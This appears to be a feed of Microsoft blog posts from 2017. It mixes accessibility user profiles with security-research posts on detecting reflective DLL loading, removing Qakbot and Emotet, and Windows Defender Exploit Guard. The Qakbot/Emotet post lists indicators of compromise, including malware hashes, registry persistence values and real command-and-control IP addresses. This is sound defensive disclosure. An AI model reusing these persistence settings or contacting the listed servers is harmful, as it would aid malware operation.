Inclusion in action: Cameron shares why he believes it is an exciting time to be blindhttps://blogs.msdn.microsoft.com/accessibility/2017/11/13/inclusion-in-action-cameron/Mon, 13 Nov 2017 17:00:32 +0000https://blogs.msdn.microsoft.com/accessibility/?p=3986Today, we head to Australia to meet Cameron. He is a university lecturer who believes that with Office 365 and Windows 10 facilitating interaction and collaboration, there’s never been a better time in history to be a blind person. Cameron's story is part of our Inclusion in action series announced last month, highlighting how accessible technologies enable transformative change.

Here’s his story.

Spend a day with Cameron Roles, 42, and you will find out what it means to multitask. After he and his wife get their two sons off the school, he heads to work at the Australian National University College of Law.

“We get some of the best and brightest people in the country here at the ANU, and it's a great opportunity for me to work with them," said Cameron. "But it's also a great opportunity through my research to try and critique the law and to try and reform it.”

As a senior lecturer, you might find him preparing or adding last minute touches to PowerPoint slides for an upcoming lecture. Or he may be correcting or grading papers. Cameron could also be fulfilling administrative tasks associated with a school with classes of up to 400 students.

In addition to his work at the university, Cameron is a Director with Vision Australia, Australia’s largest vision and blindness charity. For Cameron, it’s an important cause.

“I’m one of triplets, and we were born three months early. As a result of that, we needed to be given oxygen to keep us alive, but that oxygen actually caused all three of us to be blind," Cameron said. "It's never stopped us achieving what we wanted to do in life, and for me, I’ve never regarded it as a barrier.”

As a strong advocate for accessible technologies, Cameron began embracing the power of computing when he got his first PC as a teenager.

Man holding phone

Cameron Roles is a university lecturer who uses accessible technologies personally and professionally.

“I saw that as a pathway to be as productive as my sighted counterparts, and to suddenly be able to access a whole pile of information that I could never have accessed before.”

Now, new built-in accessibility features in Office 365 and Windows 10 are central to Cameron’s productivity. He uses comments in Microsoft Word with Narrator, the built-in screen reader in Windows 10, to provide feedback on assignments. Cameron uses Microsoft Word to create documents and research papers with footnotes, end notes and table of contents.

He combines those with heading styles to create documents that are formatted consistently and look professional to the sighted reviewer. He manages his busy schedule with Outlook, and he creates well-crafted PowerPoint presentations as visual aids to supplement his lectures.

Cameron is a huge fan of the new app specifically designed for those who are blind or low vision called Seeing AI, which is currently available in the United States, Canada, India, Hong Kong, New Zealand, and Singapore - and coming soon to more countries.

Seeing AI app phone screen

Cameron hears the title of a book read aloud with Seeing AI, a free iOS app from Microsoft.

He likes the fact that he can point his phone at a product like peanut butter in his pantry, and have the app narrate to him what it is. He also likes that he can use Seeing AI to review an assignment question that one of his kids brings home from school since the tool can read aloud words, faces and objects.

"To me, it's an example of Microsoft taking a leap forward and saying, 'we're going to try and step out and solve a problem using some of our research and our ability to innovate,' and that's exactly what they’ve done."

Cameron thinks that these assistive technologies will play an important role not only for individuals, but society as a whole, empowering people to more easily access important content, while expanding the workforce to include a larger base of talented people.

“Now is definitely, in my view, the most exciting time in human history to be blind.”

Visit aka.ms/InclusionInAction to discover more stories of people pushing the boundaries of productivity and inclusion with Microsoft technologies.

]]>
Detecting reflective DLL loading with Windows Defender ATPhttps://blogs.technet.microsoft.com/mmpc/2017/11/13/detecting-reflective-dll-loading-with-windows-defender-atp/Mon, 13 Nov 2017 13:54:00 +0000https://blogs.technet.microsoft.com/mmpc/?p=16645Today's attacks put emphasis on leaving little, if any, forensic evidence to maintain stealth and achieve persistence. Attackers use methods that allow exploits to stay resident within an exploited process or migrate to a long-lived process without ever creating or relying on a file on disk. In recent blogs we described how attackers use basic cross-process migration or advanced techniques like atom bombing and process hollowing to avoid detection.

Reflective Dynamic-Link Library (DLL) loading, which can load a DLL into a process memory without using the Windows loader, is another method used by attackers.

In-memory DLL loading was first described in 2004 by Skape and JT, who illustrated how one can patch the Windows loader to load DLLs from memory instead of from disk. In 2008, Stephen Fewer of Harmony Security introduced the reflective DLL loading process that loads a DLL into a process without being registered with the process. Modern attacks now use this technique to avoid detection.

Reflective DLL loading isn’t trivial—it requires writing the DLL into memory and then resolving its imports and/or relocating it. To reflectively load DLLs, one needs to author one’s own custom loader.

However, attackers are still motivated to not use the Windows loader, as most legitimate applications would, for two reasons:

  1. Unlike when using the Windows loader (which is invoked by calling the LoadLibrary function), reflectively loading a DLL doesn’t require the DLL to reside on disk. As such, an attacker can exploit a process, map the DLL into memory, and then reflectively load DLL without first saving on the disk.
  2. Because it’s not saved on the disk, a library that is loaded this way may not be readily visible without forensic analysis (e.g., inspecting whether executable memory has content resembling executable code).

Instrumentation and detection

A crucial aspect of reflectively loading a DLL is to have executable memory available for the DLL code. This can be accomplished by taking existing memory and changing its protection flags or by allocating new executable memory. Memory procured for DLL code is the primary signal we use to identify reflective DLL loading.

In Windows 10 Creators Update, we instrumented function calls related to procuring executable memory, namely VirtualAlloc and VirtualProtect, which generate signals for Windows Defender Advanced Threat Protection (Windows Defender ATP). Based on this instrumentation, we’ve built a model that detects reflective DLL loading in a broad range of high-risk processes, for example, browsers and productivity software.

The model takes a two-pronged approach, as illustrated in Figure 1:

  1. First, the model learns about the normal allocations of a process. As a simplified example, we observe that a process like Winword.exe allocates page-aligned executable memory of size 4,000 and particular execution characteristics. Only a select few threads within the Winword process allocate memory in this way.
  2. Second, we find that a process associated with malicious activity (e.g., executing a malicious macro or exploit) allocates executable memory that deviates from the normal behavior.

Figure 1. Memory allocations observed by a process running normally vs. allocations observed during malicious activity

This model shows that we can use memory events as the primary signal for detecting reflective DLL loading. In our real model, we incorporate a broad set of other features, such as allocation size, allocation history, thread information, allocation flags, etc. We also consider the fact that application behavior varies greatly because of other factors like plugins, so we add other behavioral signals like network connection behavior to increase the effectiveness of our detection.

Detecting reflective DLL Loading

Let’s show how Windows Defender ATP can detect reflective DLL loading used with a common technique in modern threats: social engineering. In this attack, the target victim opens a Microsoft Word document from a file share. The victim is tricked into running a macro like the code shown in Figure 2. (Note: A variety of mechanisms allow customers to mitigate this kind attack at the onset; in addition, several upcoming Office security features further protect from this attack.)

Figure 2. Malicious macro

When the macro code runs, the Microsoft Word process reaches out to the command-and-control (C&C) server specified by the attacker, and receives the content of the DLL to be reflectively loaded. Once the DLL is reflectively loaded, it connects to the C&C and provides command line access to the victim machine.

Note that the DLL is not part of the original document and does not ever touch the disk. Other than the initial document with the small macro snippet, the rest of the attack happens in memory. Memory forensics reveals that there are several larger RWX sections mapped into the Microsoft Word process without a corresponding DLL, as shown in Figure 3. These are the memory sections where the reflectively loaded DLL resides.

Figure 3. Large RWX memory sections in Microsoft Word process upon opening malicious document and executing malicious macro

Windows Defender ATP identifies the memory allocations as abnormal and raises an alert, as shown in Figure 4. As you can see (Figure 4), Windows Defender ATP provides context on the document, along with information on command-and-control communication, which can allow security operations personnel to assess the scope of the attack and start containing the breach.

Figure 4. Example alert on WDATP

Microsoft Office 365 Advanced Threat Protection protects customers against similar attacks dynamic behavior matching. In attacks like this, SecOps personnel would see an Office 365 ATP behavioral detection like that shown in Figure 5 in Office 365’s Threat Explorer page.

Figure 5. Example Office 365 ATP detection

Conclusion: Windows Defender ATP uncovers in-memory attacks

Windows 10 continues to strengthen defense capabilities against the full range of modern attacks. In this blog post, we illustrated how Windows Defender ATP detects the reflective DLL loading technique. Security operations personnel can use the alerts in Windows Defender ATP to quickly identify and respond to attacks in corporate networks.

Windows Defender Advanced ATP is a post-breach solution that alerts SecOps personnel about hostile activity. Windows Defender ATP uses rich security data, advanced behavioral analytics, and machine learning to detect the invariant techniques used in attacks. Enhanced instrumentation and detection capabilities in Windows Defender ATP can better expose covert attacks.

Windows Defender ATP also provides detailed event timelines and other contextual information that SecOps teams can use to understand attacks and quickly respond. The improved functionality in Windows Defender ATP enables them to isolate the victim machine and protect the rest of the network.

For more information about Windows Defender ATP, check out its features and capabilities and read about why a post-breach detection approach is a key component of any enterprise security strategy. Windows Defender ATP is built into the core of Windows 10 Enterprise and can be evaluated free of charge.

 

Christian Seifert

Windows Defender ATP Research

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

]]>
Inclusion in action: Veronica scores 100% with Sway magnified to 225%https://blogs.msdn.microsoft.com/accessibility/2017/11/06/inclusion-in-action-veronica/Mon, 06 Nov 2017 17:00:21 +0000https://blogs.msdn.microsoft.com/accessibility/?p=3975Today, we’re excited to introduce you to Veronica, a college student with low vision who uses accessibility capabilities in Microsoft Office 365 and Windows 10 to excel academically. Veronica is the third of six individuals featured in our Inclusion in Action series announced last month, highlighting how accessible technologies enable transformative change.

Here’s her story.

When you meet Veronica Lewis, it does not take long to figure out that this 21-year-old junior at George Mason University is going places. She plays clarinet in the school band, maintains high grades as an IT major and runs a blog called Veroniiiica – Veronica With Four Eyes that has captured the attention of some of our nation’s most powerful leaders.

When she was younger, Veronica’s mother often said she was “blazing a trail for other students in the future.” Little did Veronica know how true that would be.

Veronica has low vision, which she describes in simple terms: “I can’t see things smaller than size 22-point font, more than 15 feet away or more than about six inches on either side of me.”

When Veronica was younger, her school district did not have many resources for providing accessible materials.

“Sometimes I feel like I’m the dumbest kid in the room because I will look down at a paper and not be able to figure out what is on there at all.”

She and her family soon learned to advocate for her best interests, and during her junior year of high school, they transferred to a district with more resources. Her new school had a program allowing students to earn Microsoft Office Specialist Certifications, which Veronica eagerly embraced.

“I was able to receive my Word, Word Expert, Excel, Excel Expert, and PowerPoint certifications to become a Microsoft Office Master Specialist.”

Veronica mastered the use of Microsoft’s built-in accessibility tools and her grades skyrocketed. In 2015, she graduated from high school with a 3.8 grade point average.  She’s continued this academic excellence in college and technology continues to play an important role in her life.

Veronica notes, “Technology just doesn’t make things easier for people with disabilities. It makes things possible.”

The ‘things’ she mentions include everything from homework to band practice to her blog. She makes her classwork accessible using Word. During class, she takes notes in OneNote. If she needs to read a blackboard or whiteboard, she can take a photograph of it. Together, Optical Character Recognition in Office Lens and OneNote enables her to search for text within the picture. To learn and practice her latest music assignments for band, she uses technology to enlarge her sheet music view to 225 percent.

One of her favorite features is Word’s built-in accessibility checker, which allows users to determine if a document is accessible and offers tips on how to improve accessibility.

“I’ve introduced that function to a lot of my professors when creating accessible materials, and showing them that it takes less than a minute to make a document accessible. Why wouldn’t you do it?”

Large screen

Veronica Lewis is a college student who uses accessibility capabilities in Office 365 to excel academically.

Another tool that Veronica found especially empowering is Sway. It has an accessibility view, which is compatible with screen readers, and easily lets you add alt-text for people with low vision.

“Every presentation that I’ve created with Sway has gotten 100 percent. A lot of my professors are just amazed because they didn’t know this existed, and it’s so easy to use.”

Veronica also uses Sway for her blog. She says she created the blog as a resource for students, parents, teachers and professionals to show how easy it is to accommodate for low vision.

“I’ve been able to contribute to websites like Perkins School for the Blind’s Paths to Technology, and The Mighty, and it’s been amazing just to see how many people are relating to what I write about.”

As her audience has grown, so has the focus of her blog. She now addresses disability and accessibility issues, and uses the blog as a platform to advocate for disability rights.

“I was able to start my blog and really reach out to people all around the world and teach them all about low vision. I’ve also been able to talk to many U.S. Senators and members of Congress about issues related to healthcare and disability.”

Veronica plans to continue to leverage her studies in IT and Assistive Technology to spread her message.

“To any other students who are in the same position as me, just remember you’re not the only one who went through these experiences. You belong.”

Visit aka.ms/InclusionInAction to discover more stories of people pushing the boundaries of productivity and inclusion with Microsoft technologies.

]]>
Mitigating and eliminating info-stealing Qakbot and Emotet in corporate networkshttps://blogs.technet.microsoft.com/mmpc/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/Mon, 06 Nov 2017 13:45:53 +0000https://blogs.technet.microsoft.com/mmpc/?p=16565The threat to sensitive financial information is greater than ever. Data breaches, phishing attacks, and other forms of information theft are all too common in today’s threat landscape. Point-of-sale systems and ATMs have been targeted by hackers. Information-stealing trojans pose a risk to data and can lead to significant financial loss.

Qakbot and Emotet are information stealers that have been showing renewed activity in recent months. These malware families are technically different, but they share many similarities in behavior. They both have the ultimate goal of stealing online banking credentials that malware operators can then use to steal money from online banking accounts. They can also steal other sensitive information using techniques like keylogging.

Figure 1. Qakbot and Emotet monthly machine encounters show an upward trend. This data doesn’t include Qakbot and Emotet variants blocked by automation and cloud rules.

Even though these malware families are typically known to target individual online banking users, more and more enterprises, small and medium businesses, and other organizations have been affected by indiscriminate infections.

Figure 2. Breakdown of Qakbot and Emotet machine encounters

Recent variants of these malware families have spreading capabilities, which can increase the chances of multiple infections in corporate networks. They can also be spread by other malware during the lateral movement stage of a cyberattack.

Typical Qakbot and Emotet kill chain

Over the years, the cybercriminals behind Qakbot and Emotet have improved the code behind their malware. They have evolved to evade detection, stay under the radar longer, and increase the chances of spreading to other potential victims.

We mapped some of the common behaviors we’ve seen in Qakbot and Emotet variants and see a lot of similarities.

Figure 3. Qakbot and Emotet attack kill chain. Note that some Qakbot and Emotet variants might not exhibit all of the behaviors above and might be capable of unique routines.

Because of similarities in behavior, Qakbot and Emotet can be mitigated by similar security measures.

Steps to mitigate Qakbot and Emotet

Based on our experience helping organizations get rid of Qakbot and Emotet, the following steps mitigate infection and ultimately remove the said malware from corporate networks:

  1. Stop the spread of malware and cut off communication with its command-and-control server

    • Cut off Internet access or disconnect the affected machines from the network until they have been cleaned. Windows Defender Advanced Threat Protection customers can isolate affected machines with one click. You can also block infected machines at the edge firewall, unplug machines from the network, or create rules on Windows Defender Advanced Firewall (and push these out via Group Policy Objects (GPO)).
    • Stop sharing folders that show signs of infection or set shared folders to read-only. Removing admin shares is an option that should only be used as a last resort as this can cause other issues and hinder management
    • Practice credential hygiene. Remove unnecessary privileges, or disable privileged accounts that have been observed to spread malware using SMB.
  2. Look for new service creations and scheduled tasks

    • Look for new service creations by tracking event ID 7045 in the system log. We've observed this threat to create services with randomly generated number strings as the name and .exe name, but cleans them up after.
    • You can look for new scheduled tasks using even ID 106 in the task schedule log or 7045 to track down machines.
  3. Remove Qakbot, Emotet, and other related malware

  4. Monitor the network for possible reinfection

    • Determine and address the initial attack vector. Use security solutions like Windows Defender ATP, which provides detailed timelines and other contextual information to understand the nature of attacks and take response actions.
    • Slowly reintroduce network connectivity to the subset of the machines that have been cleaned. Monitor them for reinfection.
    • Reintroduce network connectivity to all affected machines that are believed to be clean.
    • Turn on real-time protection in your antivirus. In Microsoft Security Essentials and Windows Defender Antivirus for Windows 10, enable cloud-based protection and automatic sample submission. With these features enabled, Windows Defender Antivirus provides advanced real-time protection against never-before-seen threats.

Preventing Qakbot and Emotet infections with Windows 10

While the steps above can rid networks of Qakbot and Emotet, preventing infection eliminates opportunities for these threats to steal info. Windows 10 S is a streamlined platform with Microsoft-verified security. It blocks malware like Qakbot and Emotet and other malicious programs by working exclusively with apps from the Windows Store, ensuring that only apps that went through the Store onboarding, vetting, and signing process are allowed to run.

Additionally, Windows 10 has a comprehensive defense stack that can help block and detect malware like Qakbot and Emotet.

Use Microsoft Edge to block Qakbot and Emotet infections from the web. Microsoft Edge opens pages within low privilege app containers and uses reputation-based blocking of malicious downloads. Its click-to-run feature for Flash can stop malware infections that begin with exploit kits. With Windows Defender Application Guard, Microsoft Edge has an additional hardware isolation-level capability on top of its exploit mitigation and sandbox features.

Block malicious emails carrying trojan droppers that install Qakbot and Emotet using Microsoft Exchange Online Protection (EOP), which has built-in anti-spam filtering capabilities that help protect Office 365 customers. Secure mailboxes against email attacks with Office 365 Advanced Threat Protection, which blocks unsafe attachments, malicious links, and linked-to files leveraging time-of-click protection. Outlook.com anti-spam filters also provide protection against malicious emails.

Enable Windows Defender Exploit Guard to block malicious documents (such as those that use macro code to install Qakbot and Emotet, or the more recent DDEDownloader that install other malware) and scripts. The Attack Surface Reduction (ASR) feature in Windows Defender Exploit Guard uses a set of built-in intelligence that can block malicious behaviors observed in malicious documents. ASR rules can also be turned on to block malicious attachments from being run or launched from Microsoft Outlook or webmail (such as Gmail, Hotmail, or Yahoo).

Use Credential Guard to protect domain credentials and help stop malware from spreading using compromised credentials.

Use Local Administrator Password Solution (LAPS) to manage local account passwords and domain joined computers.

Enable Windows Defender AV to detect Qakbot and Emotet variants, as well as all related malware such as droppers and downloaders. Windows Defender AV uses precise machine learning models as well as generic and heuristic techniques and enhanced behavior analysis to detect common and complex malware code. It provides advanced real-time protection against new and unknown files using the Windows Defender AV cloud protection service.

Use Windows Defender Advanced Threat Protection to flag Qakbot or Emotet infections and to enable security operations personnel to stop the spread of these threats in the network. Windows Defender ATP’s enhanced behavioral and machine learning detection libraries flag malicious behavior across the malware infection process, from delivery and installation, to persistence mechanisms, command-and-control communication, and lateral movement. The new process tree visualization and improvements in machine isolation further help security operations to investigate and respond to attacks.

Figure 4. Machine learning-based alert in Windows Defender ATP showing suspicious memory injections and registry modifications

These end-to-end security features in Windows 10 help defend against increasingly complex malware attacks. At Microsoft, we continue to harden Windows 10 against attacks. With Fall Creators Update, we shipped several new and enhanced security features that make Windows 10 the most secure version of Windows yet. Learn more about these features:

It is also important for organizations to augment these security technologies with a security-aware workforce. Educating employees on social engineering attacks and internet safety, and training them to report suspicious emails or websites can go a long way in protecting networks against cyberattacks.

 

Keith Abluton, Windows Escalation Services

Rodel Finones, Windows Defender Research

 

Indicators of compromise

The following are IOCs for recent Qakbot and Emotet variants:

Qakbot

Qakbot malware (SHA256):

da00823090dae3dae452ddc8a4c2a3c087389b4aacf1f0c12d13c83c9fcaef9c

ca2d536b91b15e7fc44ec93bbed1f0f46ae65c723b8a4823253a2a91b8241f9a

Filenames:

%APPDATA%\Microsoft\<random folder name>\<random file name>, for example:

%APPDATA%\Microsoft\Cexpalgxx\Cexpalgxx.exe

%APPDATA%\Microsoft\Cexpalgxx\Cexpalgxx32.dll (configuration file)

Registry modifications:

In subkey: HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Sets value: <random value name>

With data: "%APPDATA%\Microsoft\<random folder name>\<random file name>"

In subkey: HKLM\SYSTEM\CurrentControlSet\services\<random service name>

Sets value: ImagePath

With data:  "%APPDATA%\Microsoft\<random folder name>\<random file name> /D"

Sets value: Type

With data: dword:00000010

Sets value: "Start"

With data: dword:00000002

Sets value: "DisplayName"

With data: "Remote Procedure Call (RPC) Service"

Sets value: "ErrorControl"

With data: dword:00000000

Sets value: "DependOnService"

With data: "Dnscache"

Sets value: "ObjectName"

With data: "LocalSystem"

In subkey: HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Sets value: ctfmon.exe

With data: "%APPDATA%\Microsoft\<random folder name>\<random file name>" /c "%System Folder%\ctfmon.exe"

Command-and-control servers:

64.183.173.170:995

67.213.243.228:993

96.67.244.225:443

173.25.234.18:443

24.123.151.58:443

76.164.161.46:995

68.115.254.146:443

198.57.88.73:443

47.21.79.34:443

174.51.185.121:465

71.3.55.80:993

88.244.177.127:443

180.93.148.41:443

101.51.40.175:443

73.166.94.110:443

71.88.202.122:443

74.5.136.50:990

89.43.179.209:443

211.27.18.233:995

96.82.91.67:443

98.194.132.179:443

98.113.137.220:443

24.184.200.177:2222

105.224.247.34:443

Emotet

Emotet downloader (SHA256):

4ce5366c7eef1fff1260d5d7a0aec72c1246621838bf8df07f4a6ab3e5369d96

Emotet malware (SHA256):

ffcb204da3ff72d268c8ac065c2e7cce5c65fafc2f549d92d0c280c6099bd440

59639027a7fd487295bad10db896528ea223684e6595cae4ce9a0bec8d809087

Filenames:

%appdata%\roaming\microsoft\windows\start menu\programs\startup\[random].lnk

%Appdata%\local\[random]\[random].exe

%localappdata%\microsoft\windows ex: C:\Windows\System32\netshedule.exe

Registry modifications:

In subkey: 'HKLM\SYSTEM\ControlSet001\services\netshedule' <Bug: 5667568  Type & Size>

Sets value: 'Type'

With data: '0x00000010'

In subkey: 'HKLM\SYSTEM\ControlSet001\services\netshedule' <Bug: 5667568  Type & Size>

Sets value: 'Start'

With data: '0x00000002'

In subkey: 'HKLM\SYSTEM\ControlSet001\services\netshedule' <Bug: 5667568  Type & Size>

Sets value: 'ErrorControl'

With data: '0x00000000'

In subkey: 'HKLM\SYSTEM\ControlSet001\services\netshedule' <Bug: 5667568  Type & Size>

Sets value: 'ImagePath'

With data: 'C:\Windows\system32\netshedule.exe'

In subkey: 'HKLM\SYSTEM\ControlSet001\services\netshedule' <Bug: 5667568  Type & Size>

Sets value: 'DisplayName'

With data: 'netshedule'

Command-and-control servers:

104.236.252.178

162.243.159.58

45.33.55.157

77.244.245.37

192.81.212.79

173.212.192.45

103.16.131.20

195.78.33.200

50.116.54.16

212.83.166.45

137.74.254.64

104.227.137.34

188.165.220.214

85.143.221.180

119.82.27.246

194.88.246.7

206.214.220.79

173.230.136.67

173.224.218.25

 


Talk to us

Questions, concerns, or insights on this story? Join discussions at the Microsoft community.

Follow us on Twitter @MMPC and Facebook Microsoft Malware Protection Center

]]>
Inclusion in action: Justin promotes inclusivity with technology as his voicehttps://blogs.msdn.microsoft.com/accessibility/2017/10/30/inclusion-in-action-justin/https://blogs.msdn.microsoft.com/accessibility/2017/10/30/inclusion-in-action-justin/#commentsMon, 30 Oct 2017 16:00:38 +0000https://blogs.msdn.microsoft.com/accessibility/?p=3875Today, we’re excited to introduce you to Justin, a college student with Athetoid cerebral palsy. He's the second of six individuals featured in our Inclusion in Action series announced last week, highlighting how accessible technologies enable transformative change. Justin uses accessibility capabilities in Microsoft Office 365 and his communication device to excel in his studies and pursue his passion for storytelling.

Here's his story.

Justin is determined to be a force for change in the world. Like many of his college peers, he loves technology, music videos, keeping up with news and sports, playing chess and reading great books. Justin also distinguishes himself from his peers by giving public presentations, maintaining a blog and working on a young-adult novel.

“I think it’s important for young people who have disabilities to share their hopes and dreams,” he said.

Like the central character in his novel, Justin has cerebral palsy. He uses a power chair to get around, he uses a hearing aid to help with his auditory neuropathy, and he uses devices with Office 365 software to express himself.

Justin Smith at his computer

Justin Smith is a college student that uses Office 365 tools to study and pursue his passion for storytelling.

“Technology is my way to communicate with the world. It is my freedom to get out there. It is my voice!" he said. "I can’t imagine what my world would be like without it.”

Adaptive keyboard

Justin uses an adaptive keyboard.

Justin got his first communication device when he was 3 years old. Today he uses an adaptive keyboard, joystick mouse, word prediction software and captioning to use his computer. He says assistive technologies have come a long way since he was in school, and Office 365 is making his college work easier.

Justin uses Word to draft content for blogs, assignments, stories and speeches. If he’s giving a presentation he has that content programmed into his communication device. If he’s giving a classroom or public presentation he uses PowerPoint. And he accesses his materials from home or college using OneDrive.

View of a computer screen

Justin uses Word, OneNote and OneDrive to write his young adult novel and complete his college homework. 

Because Justin also has visual tracking issues, he finds that the new Line Focus feature in Immersive Reader with Word Online is helpful when reading materials for class. He also uses OneNote to organize his research papers and class notes.

Throughout the years, Justin has developed a passion for the power of technology. He enjoys being a strong advocate for the use and development of accessible technologies.

“I get to be the idealistic young person who wants to stretch the boundaries of what’s possible. I need people in IT to design and build technology to help make it easier for me to do all the things that I dream of doing."

Visit aka.ms/InclusionInAction to discover more stories of people pushing the boundaries of productivity and inclusion with Microsoft technologies.

]]>
https://blogs.msdn.microsoft.com/accessibility/2017/10/30/inclusion-in-action-justin/feed/3
Windows Defender Exploit Guard: Reduce the attack surface against next-generation malwarehttps://blogs.technet.microsoft.com/mmpc/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/Mon, 23 Oct 2017 13:05:08 +0000https://blogs.technet.microsoft.com/mmpc/?p=16226Windows Defender Exploit Guard is a new set of intrusion prevention capabilities that ships with the Windows 10 Fall Creators Update. The four components of Windows Defender Exploit Guard are designed to lock down the device against a wide variety of attack vectors and block behaviors commonly used in malware attacks, while enabling enterprises to balance their security risk and productivity requirements.

Traditional antivirus technologies are an integral aspect of the endpoint security stack through the identification and removal of malicious executables using a combination of cloud-based machine learning and heuristics. Despite advances in antivirus detection capabilities, attackers are continuously adapting and have been expanding their arsenal of tricks and techniques to compromise endpoints, steal credentials, and execute ransomware attacks without ever needing to write anything to disk. This emerging trend of fileless attacks, which compose over 50% of all threats, are extremely dangerous, constantly changing, and designed to evade traditional AV. Fileless attacks have two types: those that use non-traditional executable files (e.g., documents with active content in them), and those that exploit vulnerabilities.

Windows Defender Exploit Guard utilizes the capabilities of the Microsoft Intelligent Security Graph (ISG) and the world-class security research team at Microsoft to identify active exploits and common behaviors to stop these types of attacks at various stages of the kill chain. Although the underlying vulnerability being exploited varies, the delivery mechanism differs, and the payload changes, there is a core set of behaviors and vectors that many different attacks adhere to. By correlating streams of events to various malicious behaviors with the ISG, Windows Defender Exploit Guard provides the capability and controls needed to handle these types of emerging threats.

The four components of Windows Defender Exploit Guard are:

  • Attack Surface Reduction (ASR): A set of controls that enterprises can enable to prevent malware from getting on the machine by blocking Office-, script-, and email-based threats
  • Network protection: Protects the endpoint against web-based threats by blocking any outbound process on the device to untrusted hosts/IP through Windows Defender SmartScreen
  • Controlled folder access: Protects sensitive data from ransomware by blocking untrusted processes from accessing your protected folders
  • Exploit protection: A set of exploit mitigations (replacing EMET) that can be easily configured to protect your system and applications 

Attack Surface Reduction (ASR): Intelligence to control the surface area of the device

Email and Office applications are generally thought of as keystones of enterprise productivity, yet they are the most common vector for attacks and can cause nightmares for security administrators. Both Office and email serve as simple and easy ways to distribute mechanism for bad actors to kick off malware and fileless attacks. Although Office macros and scripts have many productive use cases, malicious actors can use them to directly perform exploits that operate entirely in memory and are often undetectable by traditional AV techniques. All it takes is for a single user to enable macros on a legitimate-looking Office file, or to open an email attachment that executes a malicious PowerShell script, to compromise a machine.

Attack Surface Reduction provides enterprises with a set of built-in intelligence that can block the underlying behaviors used by these malicious documents to execute without hindering productive scenarios. By blocking malicious behaviors independent of what the threat or exploit is, ASR can protect enterprises from never before seen zero-day attacks like the recently discovered CVE-2017-8759, CVE-2017-11292 , and CVE-2017-11826.

The different behaviors ASR provides coverage for in Fall Creators Updated are split among Office, scripts, and email.

For Office apps, ASR can:

  • Block Office apps from creating executable content
  • Block Office apps from launching child process
  • Block Office apps from injecting into process
  • Block Win32 imports from macro code in Office
  • Block obfuscated macro code

Although malicious Office macros are oftentimes responsible for utilizing techniques like injection and launching of executables, ASR can also protect end-users from emerging exploits like DDEDownloader, which has been recently gaining in popularity. This exploit uses the Dynamic Data Exchange (DDE) popup in Office Documents to run a PowerShell downloader; however, in doing so, it launches a child process that the corresponding child process rule blocks.

(Note: To learn more about security settings that ensure Microsoft Office applications securely open documents with DDE fields, read Microsoft Security Advisory 4053440.)

For script, ASR can:

  • Block malicious JavaScript, VBScript, and PowerShell codes that have been obfuscated
  • Block JavaScript and VBScript from executing payload downloaded from internet

To highlight the intelligence behind ASR, we can look at how it can address obfuscated code as an example; in this case, there is a machine learning model powering our obfuscation detection capabilities that gets retrained multiple times per week in our cloud protection service. The model is updated on client, where it interfaces with Antimalware Scan Interface (AMSI) to make a determination on whether or not a script has been obfuscated for malicious purposes. When a high-confidence match occurs, any attempt made to access the script is blocked.

For email, ASR can:

  • Block execution of executable content dropped from email (webmail/mail-client)

Enterprise administrators can set policies on their corporate email (e.g., Office 365) to limit the files that can be delivered to end user inboxes. However, they don’t have control over the files that are delivered via personal email on company devices. Given the increase in spear-phishing, employees' personal emails are also targeted and need to be protected. ASR enables enterprise administrators to apply file policies on personal email for both webmail & mail-clients on company devices.

For any line of business applications running within your enterprise, there is the capability to customize file and folder based exclusions if your applications include unusual behaviors that may be impacted by ASR detection.  

ASR has a dependency on Windows Defender Antivirus being the primary AV on the device and its real-time protection feature must be enabled. The Windows 10 Security baseline recommends enabling most of the rules in Block Mode to protect your devices from these threat vectors.

Network protection: Blocking outbound connection

The internet is home to a swath of malicious websites that are designed to lure and trick users. They use phishing, deceptive ads, tech scams, social engineering, and other means as part of their campaigns. For some attacks, they seek to acquire information or get immediate financial payout, while others may attempt to install malware on the machine. Oftentimes malware will attempt to connect with a command-and-control server (C&C) to seek further instructions and deliver additional malicious payloads, such that the attacker can spread to additional machines on the network.

Windows Defender SmartScreen protects Microsoft Edge from socially engineered malware, phishing, and other web-based threats through the power of the Intelligent Security Graph (ISG). This has made Microsoft Edge one of the most secure browsers out there, outperforming Chrome and Firefox in NSS Lab’s recent test results for phishing protection between August 23 and September 12, 2017.

Windows Defender Exploit Guard’s network protection capability utilizes this same intelligence from ISG to vet, and if necessary block, all outbound connections before they are made. This brings the same level of protection that we previously just had for Microsoft Edge across the entire system and network stack.

By integrating a new network filtering driver into the kernel, the network protection capability can evaluate and block outbound network traffic based on ISG’s hostname and IP address-related reputation intelligence. With a combination of cloud lookups and performant caching to perform these reputation checks, the network protection capability can render web-based malware that depends on a communication channel inoperable.

Regardless if the outbound call is to phishing, socially engineered malware, or a C&C website, or if the call originates from a browser or a background process, network protection can intercept and kill the connection. These filtering capabilities can also augment and work in concert with similar protection capabilities from others security solutions, browsers, etc.

Controlled folder access

Encryption of files by ransomware and other unauthorized apps means losing control of your data: documents, precious photos and videos, and other important files. For enterprises and small businesses, losing access to files can mean disrupted operations. Controlled folder access protects files by locking down critical folders, allowing only authorized apps to access files. Unauthorized apps, including malicious and suspicious executable files, DLLs, scripts, and others will be denied access even when they are running with the user's or administrator's privilege, which malware is often be able to secure.

By default, Controlled folder access protects common folders where documents and other important data are stored, but it’s also flexible. You can add additional folders to protect, including those on other drives. You can also allow apps that you trust to access protected folders, so if you’re using unique or custom app, your normal everyday productivity will be not affected.

When enabled, controlled folder access blocks unauthorized access and notifies the user of any attempt by unauthorized apps to access or modify files in protected folders. It delivers this protection in real-time.

Exploit Protection 

Windows Defender Exploit Guard’s exploit protection represents the suite of vulnerability mitigation and hardening techniques that are built directly into Windows 10. As you install the Fall Creators Update, the appropriate mitigation settings will already be configured and applied on the machine. 

Rest In Peace (RIP) EMET

Users of the Enhanced Mitigation Experience Toolkit (EMET) will notice that it was automatically uninstalled from your machine during the upgrade. This is because WDEG includes the best of EMET built directly into Windows 10, so it’s now just part of the platform. You can the find previous user experiences for configuring EMET vulnerability mitigation capabilities in Windows Defender Security Center. For more information, read Moving Beyond Emet II - Windows-Defender-Exploit-Guard.

Figure shows using the Windows Security Center Exploit Protection control to enable mitigation Address Filtering (EAF) to unpatched application Word 2007

